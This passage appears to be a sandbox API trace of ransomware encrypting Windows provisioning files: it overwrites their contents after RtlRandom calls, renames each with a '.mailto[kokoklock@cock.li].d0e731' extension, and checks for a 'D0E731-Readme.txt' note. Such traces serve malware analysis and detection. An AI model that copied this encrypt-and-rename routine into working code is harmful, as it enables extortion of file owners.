Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\D0E731-Readme.txt" [0087.037] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\D0E731-Readme.txt" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\d0e731-readme.txt")) returned 0x20 [0087.037] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x348af68) returned 1 [0087.037] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34b67b8) returned 1 [0087.037] RtlExitUserThread (Status=0x1) Thread: id = 1341 os_tid = 0x13a8 [0087.038] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\150__Connections_Cellular_E-Plus (Germany)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\150__connections_cellular_e-plus (germany)_i0$(__mvid)@wap.provxml")) returned 0x20 [0087.038] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\150__Connections_Cellular_E-Plus (Germany)_i0$(__MVID)@WAP.provxml", dwFileAttributes=0x20) returned 1 [0087.039] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\150__Connections_Cellular_E-Plus (Germany)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\150__connections_cellular_e-plus (germany)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3d0 [0087.039] GetFileSizeEx (in: hFile=0x3d0, lpFileSize=0x2eb3fcc4 | out: lpFileSize=0x2eb3fcc4*=854) returned 1 [0087.039] SetFilePointerEx (in: hFile=0x3d0, liDistanceToMove=0x352, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0087.039] ReadFile (in: hFile=0x3d0, lpBuffer=0x2eb3fc98, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x2eb3fc94, lpOverlapped=0x0 | out: lpBuffer=0x2eb3fc98*, lpNumberOfBytesRead=0x2eb3fc94*=0x4, lpOverlapped=0x0) returned 1 [0087.040] SetFilePointerEx (in: hFile=0x3d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0087.040] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x55dc2f0 [0087.040] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x55dc2a0 [0087.040] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x55dc480 [0087.040] NtQuerySystemTime (in: CurrentTime=0x2eb3fc70 | out: CurrentTime=0x2eb3fc70*=132121176449297758) returned 0x0 [0087.040] RtlRandom (in: Seed=0x2eb3fc7c | out: Seed=0x2eb3fc7c) returned 0x50699f28 [0087.040] RtlRandom (in: Seed=0x2eb3fc7c | out: Seed=0x2eb3fc7c) returned 0xc07f5e12 [0087.040] RtlRandom (in: Seed=0x2eb3fc7c | out: Seed=0x2eb3fc7c) returned 0xa35e92aa [0087.040] RtlRandom (in: Seed=0x2eb3fc7c | out: Seed=0x2eb3fc7c) returned 0xe0f0d970 [0087.040] RtlRandom (in: Seed=0x2eb3fc7c | out: Seed=0x2eb3fc7c) returned 0x38f5e4cd [0087.040] RtlRandom (in: Seed=0x2eb3fc7c | out: Seed=0x2eb3fc7c) returned 0x3d6debc4 [0087.040] RtlRandom (in: Seed=0x2eb3fc7c | out: Seed=0x2eb3fc7c) returned 0x8b27b8df [0087.040] RtlRandom (in: Seed=0x2eb3fc7c | out: Seed=0x2eb3fc7c) returned 0x75a77b3d [0087.041] RtlRandom (in: Seed=0x2eb3fc7c | out: Seed=0x2eb3fc7c) returned 0x13dc9372 [0087.041] RtlRandom (in: Seed=0x2eb3fc7c | out: Seed=0x2eb3fc7c) returned 0xf0b7ecca [0087.041] RtlRandom (in: Seed=0x2eb3fc7c | out: Seed=0x2eb3fc7c) returned 0x42295477 [0087.041] RtlRandom (in: Seed=0x2eb3fc7c | out: Seed=0x2eb3fc7c) returned 0x587b4b2 [0087.041] RtlRandom (in: Seed=0x2eb3fc7c | out: Seed=0x2eb3fc7c) returned 0x4bbebd90 [0087.041] RtlRandom (in: Seed=0x2eb3fc7c | out: Seed=0x2eb3fc7c) returned 0x22101933 [0087.041] RtlRandom (in: Seed=0x2eb3fc7c | out: Seed=0x2eb3fc7c) returned 0x9d2c5e01 [0087.041] RtlRandom (in: Seed=0x2eb3fc7c | out: Seed=0x2eb3fc7c) returned 0x74aa4013 [0087.041] RtlRandom (in: Seed=0x2eb3fc7c | out: Seed=0x2eb3fc7c) returned 0xcd4de159 [0087.041] RtlRandom (in: Seed=0x2eb3fc7c | out: Seed=0x2eb3fc7c) returned 0x89baa406 [0087.041] RtlRandom (in: Seed=0x2eb3fc7c | out: Seed=0x2eb3fc7c) returned 0x67fd1ca9 [0087.041] RtlRandom (in: Seed=0x2eb3fc7c | out: Seed=0x2eb3fc7c) returned 0xf8f3f4df [0087.041] RtlRandom (in: Seed=0x2eb3fc7c | out: Seed=0x2eb3fc7c) returned 0xb3895e92 [0087.041] RtlRandom (in: Seed=0x2eb3fc7c | out: Seed=0x2eb3fc7c) returned 0xd42ea2ca [0087.041] RtlRandom (in: Seed=0x2eb3fc7c | out: Seed=0x2eb3fc7c) returned 0x8c9c76e8 [0087.041] RtlRandom (in: Seed=0x2eb3fc7c | out: Seed=0x2eb3fc7c) returned 0x8765e4ab [0087.041] RtlRandom (in: Seed=0x2eb3fc7c | out: Seed=0x2eb3fc7c) returned 0x9c2f40fb [0087.041] RtlRandom (in: Seed=0x2eb3fc7c | out: Seed=0x2eb3fc7c) returned 0xd8d07893 [0087.041] RtlRandom (in: Seed=0x2eb3fc7c | out: Seed=0x2eb3fc7c) returned 0x27c100c2 [0087.041] RtlRandom (in: Seed=0x2eb3fc7c | out: Seed=0x2eb3fc7c) returned 0x9dc20c52 [0087.041] RtlRandom (in: Seed=0x2eb3fc7c | out: Seed=0x2eb3fc7c) returned 0xde7ed83f [0087.041] RtlRandom (in: Seed=0x2eb3fc7c | out: Seed=0x2eb3fc7c) returned 0xbd5dafdc [0087.041] RtlRandom (in: Seed=0x2eb3fc7c | out: Seed=0x2eb3fc7c) returned 0x9c101abb [0087.041] RtlRandom (in: Seed=0x2eb3fc7c | out: Seed=0x2eb3fc7c) returned 0x79b8e860 [0087.052] ReadFile (in: hFile=0x3d0, lpBuffer=0x34b8390, nNumberOfBytesToRead=0x356, lpNumberOfBytesRead=0x2eb3fc70, lpOverlapped=0x0 | out: lpBuffer=0x34b8390*, lpNumberOfBytesRead=0x2eb3fc70*=0x356, lpOverlapped=0x0) returned 1 [0087.052] SetFilePointerEx (in: hFile=0x3d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2eb3fc38 | out: lpNewFilePointer=0x0) returned 1 [0087.052] WriteFile (in: hFile=0x3d0, lpBuffer=0x55de100*, nNumberOfBytesToWrite=0x356, lpNumberOfBytesWritten=0x2eb3fc6c, lpOverlapped=0x0 | out: lpBuffer=0x55de100*, lpNumberOfBytesWritten=0x2eb3fc6c*=0x356, lpOverlapped=0x0) returned 1 [0087.052] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x55dc5c0 [0087.052] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x55dc1b0 [0087.052] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x55dc1b0) returned 1 [0087.052] WriteFile (in: hFile=0x3d0, lpBuffer=0x55dc5c0*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x2eb3fc68, lpOverlapped=0x0 | out: lpBuffer=0x55dc5c0*, lpNumberOfBytesWritten=0x2eb3fc68*=0x20, lpOverlapped=0x0) returned 1 [0087.053] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x55dc5c0) returned 1 [0087.053] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x55de100) returned 1 [0087.053] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34b8390) returned 1 [0087.053] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34804f8) returned 1 [0087.053] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33fd2c8) returned 1 [0087.053] WriteFile (in: hFile=0x3d0, lpBuffer=0x55dc570*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2eb3fc94, lpOverlapped=0x0 | out: lpBuffer=0x55dc570*, lpNumberOfBytesWritten=0x2eb3fc94*=0x8, lpOverlapped=0x0) returned 1 [0087.053] WriteFile (in: hFile=0x3d0, lpBuffer=0x2eb3fcac*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x2eb3fc94, lpOverlapped=0x0 | out: lpBuffer=0x2eb3fcac*, lpNumberOfBytesWritten=0x2eb3fc94*=0x4, lpOverlapped=0x0) returned 1 [0087.053] WriteFile (in: hFile=0x3d0, lpBuffer=0x33d12fc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x2eb3fc94, lpOverlapped=0x0 | out: lpBuffer=0x33d12fc*, lpNumberOfBytesWritten=0x2eb3fc94*=0x4, lpOverlapped=0x0) returned 1 [0087.053] WriteFile (in: hFile=0x3d0, lpBuffer=0x33c49b8*, nNumberOfBytesToWrite=0x6c, lpNumberOfBytesWritten=0x2eb3fc94, lpOverlapped=0x0 | out: lpBuffer=0x33c49b8*, lpNumberOfBytesWritten=0x2eb3fc94*=0x6c, lpOverlapped=0x0) returned 1 [0087.053] WriteFile (in: hFile=0x3d0, lpBuffer=0x55dc2a0*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x2eb3fc94, lpOverlapped=0x0 | out: lpBuffer=0x55dc2a0*, lpNumberOfBytesWritten=0x2eb3fc94*=0x20, lpOverlapped=0x0) returned 1 [0087.053] WriteFile (in: hFile=0x3d0, lpBuffer=0x33d12dc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x2eb3fc94, lpOverlapped=0x0 | out: lpBuffer=0x33d12dc*, lpNumberOfBytesWritten=0x2eb3fc94*=0x4, lpOverlapped=0x0) returned 1 [0087.053] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x55dc2a0) returned 1 [0087.053] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x55dc430) returned 1 [0087.053] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x55dc570) returned 1 [0087.053] CloseHandle (hObject=0x3d0) returned 1 [0087.054] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x184) returned 0x33fc9c8 [0087.054] wcscpy (in: _Dest=0x33fc9c8, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\150__Connections_Cellular_E-Plus (Germany)_i0$(__MVID)@WAP.provxml" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\150__Connections_Cellular_E-Plus (Germany)_i0$(__MVID)@WAP.provxml") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\150__Connections_Cellular_E-Plus (Germany)_i0$(__MVID)@WAP.provxml" [0087.054] wcscat (in: _Dest=0x33fc9c8, _Source=".mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\150__Connections_Cellular_E-Plus (Germany)_i0$(__MVID)@WAP.provxml.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\150__Connections_Cellular_E-Plus (Germany)_i0$(__MVID)@WAP.provxml.mailto[kokoklock@cock.li].d0e731" [0087.054] MoveFileW (lpExistingFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\150__Connections_Cellular_E-Plus (Germany)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\150__connections_cellular_e-plus (germany)_i0$(__mvid)@wap.provxml"), lpNewFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\150__Connections_Cellular_E-Plus (Germany)_i0$(__MVID)@WAP.provxml.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\150__connections_cellular_e-plus (germany)_i0$(__mvid)@wap.provxml.mailto[kokoklock@cock.li].d0e731")) returned 1 [0087.054] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\150__Connections_Cellular_E-Plus (Germany)_i0$(__MVID)@WAP.provxml.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0087.055] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33fc9c8) returned 1 [0087.055] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\150__Connections_Cellular_E-Plus (Germany)_i0$(__MVID)@WAP.provxml", dwFileAttributes=0x20) returned 0 [0087.055] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0xe2) returned 0x348af68 [0087.055] wcscpy (in: _Dest=0x348af68, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\" [0087.055] wcscat (in: _Dest=0x348af68, _Source="D0E731-Readme.txt" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\D0E731-Readme.txt") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\D0E731-Readme.txt" [0087.055] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\D0E731-Readme.txt" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\d0e731-readme.txt")) returned 0x20 [0087.055] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x348af68) returned 1 [0087.055] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34b6660) returned 1 [0087.055] RtlExitUserThread (Status=0x1) Thread: id = 1342 os_tid = 0x13b4 [0087.056] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\151__Connections_Cellular_Deutsche Telekom (Germany)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\151__connections_cellular_deutsche telekom (germany)_i0$(__mvid)@wap.provxml")) returned 0x20 [0087.056] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\151__Connections_Cellular_Deutsche Telekom (Germany)_i0$(__MVID)@WAP.provxml", dwFileAttributes=0x20) returned 1 [0087.056] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\151__Connections_Cellular_Deutsche Telekom (Germany)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\151__connections_cellular_deutsche telekom (germany)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3d0 [0087.057] GetFileSizeEx (in: hFile=0x3d0, lpFileSize=0x2ebbf948 | out: lpFileSize=0x2ebbf948*=863) returned 1 [0087.057] SetFilePointerEx (in: hFile=0x3d0, liDistanceToMove=0x35b, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0087.057] ReadFile (in: hFile=0x3d0, lpBuffer=0x2ebbf91c, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x2ebbf918, lpOverlapped=0x0 | out: lpBuffer=0x2ebbf91c*, lpNumberOfBytesRead=0x2ebbf918*=0x4, lpOverlapped=0x0) returned 1 [0087.058] SetFilePointerEx (in: hFile=0x3d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0087.058] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x55dc2f0 [0087.058] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x55dc2a0 [0087.058] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x55dc4a8 [0087.058] NtQuerySystemTime (in: CurrentTime=0x2ebbf8f4 | out: CurrentTime=0x2ebbf8f4*=132121176449454044) returned 0x0 [0087.058] RtlRandom (in: Seed=0x2ebbf900 | out: Seed=0x2ebbf900) returned 0x410ead01 [0087.058] RtlRandom (in: Seed=0x2ebbf900 | out: Seed=0x2ebbf900) returned 0x13064e3 [0087.058] RtlRandom (in: Seed=0x2ebbf900 | out: Seed=0x2ebbf900) returned 0x89a063e7 [0087.058] RtlRandom (in: Seed=0x2ebbf900 | out: Seed=0x2ebbf900) returned 0x13683eed [0087.058] RtlRandom (in: Seed=0x2ebbf900 | out: Seed=0x2ebbf900) returned 0xbf5a9b1d [0087.058] RtlRandom (in: Seed=0x2ebbf900 | out: Seed=0x2ebbf900) returned 0x3a533f72 [0087.058] RtlRandom (in: Seed=0x2ebbf900 | out: Seed=0x2ebbf900) returned 0xe24c25d5 [0087.058] RtlRandom (in: Seed=0x2ebbf900 | out: Seed=0x2ebbf900) returned 0x7674ef8e [0087.058] RtlRandom (in: Seed=0x2ebbf900 | out: Seed=0x2ebbf900) returned 0xf54ac323 [0087.058] RtlRandom (in: Seed=0x2ebbf900 | out: Seed=0x2ebbf900) returned 0x23fa73c9 [0087.058] RtlRandom (in: Seed=0x2ebbf900 | out: Seed=0x2ebbf900) returned 0x9e40d87d [0087.058] RtlRandom (in: Seed=0x2ebbf900 | out: Seed=0x2ebbf900) returned 0xfebeb4b7 [0087.058] RtlRandom (in: Seed=0x2ebbf900 | out: Seed=0x2ebbf900) returned 0xb0ca76bb [0087.058] RtlRandom (in: Seed=0x2ebbf900 | out: Seed=0x2ebbf900) returned 0xe29b6935 [0087.058] RtlRandom (in: Seed=0x2ebbf900 | out: Seed=0x2ebbf900) returned 0xa425618a [0087.059] RtlRandom (in: Seed=0x2ebbf900 | out: Seed=0x2ebbf900) returned 0xeb8bba36 [0087.059] RtlRandom (in: Seed=0x2ebbf900 | out: Seed=0x2ebbf900) returned 0x1ffe7f88 [0087.059] RtlRandom (in: Seed=0x2ebbf900 | out: Seed=0x2ebbf900) returned 0x66df08ba [0087.059] RtlRandom (in: Seed=0x2ebbf900 | out: Seed=0x2ebbf900) returned 0x67bb00e [0087.059] RtlRandom (in: Seed=0x2ebbf900 | out: Seed=0x2ebbf900) returned 0xea5bd787 [0087.059] RtlRandom (in: Seed=0x2ebbf900 | out: Seed=0x2ebbf900) returned 0x999feaa5 [0087.059] RtlRandom (in: Seed=0x2ebbf900 | out: Seed=0x2ebbf900) returned 0xd3a17097 [0087.059] RtlRandom (in: Seed=0x2ebbf900 | out: Seed=0x2ebbf900) returned 0x3317f3c9 [0087.059] RtlRandom (in: Seed=0x2ebbf900 | out: Seed=0x2ebbf900) returned 0xfd509120 [0087.059] RtlRandom (in: Seed=0x2ebbf900 | out: Seed=0x2ebbf900) returned 0xa2e7e8b7 [0087.059] RtlRandom (in: Seed=0x2ebbf900 | out: Seed=0x2ebbf900) returned 0x5715e8c4 [0087.059] RtlRandom (in: Seed=0x2ebbf900 | out: Seed=0x2ebbf900) returned 0xe0100c35 [0087.059] RtlRandom (in: Seed=0x2ebbf900 | out: Seed=0x2ebbf900) returned 0x817b652d [0087.059] RtlRandom (in: Seed=0x2ebbf900 | out: Seed=0x2ebbf900) returned 0x91de0dc0 [0087.059] RtlRandom (in: Seed=0x2ebbf900 | out: Seed=0x2ebbf900) returned 0xa0f74d5c [0087.059] RtlRandom (in: Seed=0x2ebbf900 | out: Seed=0x2ebbf900) returned 0x2d837d3c [0087.059] RtlRandom (in: Seed=0x2ebbf900 | out: Seed=0x2ebbf900) returned 0xd51dab38 [0087.069] ReadFile (in: hFile=0x3d0, lpBuffer=0x34b8390, nNumberOfBytesToRead=0x35f, lpNumberOfBytesRead=0x2ebbf8f4, lpOverlapped=0x0 | out: lpBuffer=0x34b8390*, lpNumberOfBytesRead=0x2ebbf8f4*=0x35f, lpOverlapped=0x0) returned 1 [0087.069] SetFilePointerEx (in: hFile=0x3d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ebbf8bc | out: lpNewFilePointer=0x0) returned 1 [0087.069] WriteFile (in: hFile=0x3d0, lpBuffer=0x55de100*, nNumberOfBytesToWrite=0x35f, lpNumberOfBytesWritten=0x2ebbf8f0, lpOverlapped=0x0 | out: lpBuffer=0x55de100*, lpNumberOfBytesWritten=0x2ebbf8f0*=0x35f, lpOverlapped=0x0) returned 1 [0087.070] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x55dc5c0 [0087.070] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x55dc1b0 [0087.070] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x55dc1b0) returned 1 [0087.070] WriteFile (in: hFile=0x3d0, lpBuffer=0x55dc5c0*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x2ebbf8ec, lpOverlapped=0x0 | out: lpBuffer=0x55dc5c0*, lpNumberOfBytesWritten=0x2ebbf8ec*=0x20, lpOverlapped=0x0) returned 1 [0087.070] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x55dc5c0) returned 1 [0087.070] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x55de100) returned 1 [0087.070] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34b8390) returned 1 [0087.070] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34804f8) returned 1 [0087.070] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33fd2c8) returned 1 [0087.070] WriteFile (in: hFile=0x3d0, lpBuffer=0x55dc570*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2ebbf918, lpOverlapped=0x0 | out: lpBuffer=0x55dc570*, lpNumberOfBytesWritten=0x2ebbf918*=0x8, lpOverlapped=0x0) returned 1 [0087.070] WriteFile (in: hFile=0x3d0, lpBuffer=0x2ebbf930*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x2ebbf918, lpOverlapped=0x0 | out: lpBuffer=0x2ebbf930*, lpNumberOfBytesWritten=0x2ebbf918*=0x4, lpOverlapped=0x0) returned 1 [0087.070] WriteFile (in: hFile=0x3d0, lpBuffer=0x33d12fc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x2ebbf918, lpOverlapped=0x0 | out: lpBuffer=0x33d12fc*, lpNumberOfBytesWritten=0x2ebbf918*=0x4, lpOverlapped=0x0) returned 1 [0087.070] WriteFile (in: hFile=0x3d0, lpBuffer=0x33c49b8*, nNumberOfBytesToWrite=0x6c, lpNumberOfBytesWritten=0x2ebbf918, lpOverlapped=0x0 | out: lpBuffer=0x33c49b8*, lpNumberOfBytesWritten=0x2ebbf918*=0x6c, lpOverlapped=0x0) returned 1 [0087.070] WriteFile (in: hFile=0x3d0, lpBuffer=0x55dc2a0*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x2ebbf918, lpOverlapped=0x0 | out: lpBuffer=0x55dc2a0*, lpNumberOfBytesWritten=0x2ebbf918*=0x20, lpOverlapped=0x0) returned 1 [0087.071] WriteFile (in: hFile=0x3d0, lpBuffer=0x33d12dc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x2ebbf918, lpOverlapped=0x0 | out: lpBuffer=0x33d12dc*, lpNumberOfBytesWritten=0x2ebbf918*=0x4, lpOverlapped=0x0) returned 1 [0087.071] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x55dc2a0) returned 1 [0087.071] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x55dc430) returned 1 [0087.071] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x55dc570) returned 1 [0087.071] CloseHandle (hObject=0x3d0) returned 1 [0087.071] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x198) returned 0x33fc9c8 [0087.071] wcscpy (in: _Dest=0x33fc9c8, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\151__Connections_Cellular_Deutsche Telekom (Germany)_i0$(__MVID)@WAP.provxml" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\151__Connections_Cellular_Deutsche Telekom (Germany)_i0$(__MVID)@WAP.provxml") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\151__Connections_Cellular_Deutsche Telekom (Germany)_i0$(__MVID)@WAP.provxml" [0087.071] wcscat (in: _Dest=0x33fc9c8, _Source=".mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\151__Connections_Cellular_Deutsche Telekom (Germany)_i0$(__MVID)@WAP.provxml.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\151__Connections_Cellular_Deutsche Telekom (Germany)_i0$(__MVID)@WAP.provxml.mailto[kokoklock@cock.li].d0e731" [0087.071] MoveFileW (lpExistingFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\151__Connections_Cellular_Deutsche Telekom (Germany)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\151__connections_cellular_deutsche telekom (germany)_i0$(__mvid)@wap.provxml"), lpNewFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\151__Connections_Cellular_Deutsche Telekom (Germany)_i0$(__MVID)@WAP.provxml.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\151__connections_cellular_deutsche telekom (germany)_i0$(__mvid)@wap.provxml.mailto[kokoklock@cock.li].d0e731")) returned 1 [0087.072] SetFileAttributesW (lpFileName="C:\\Users\\All 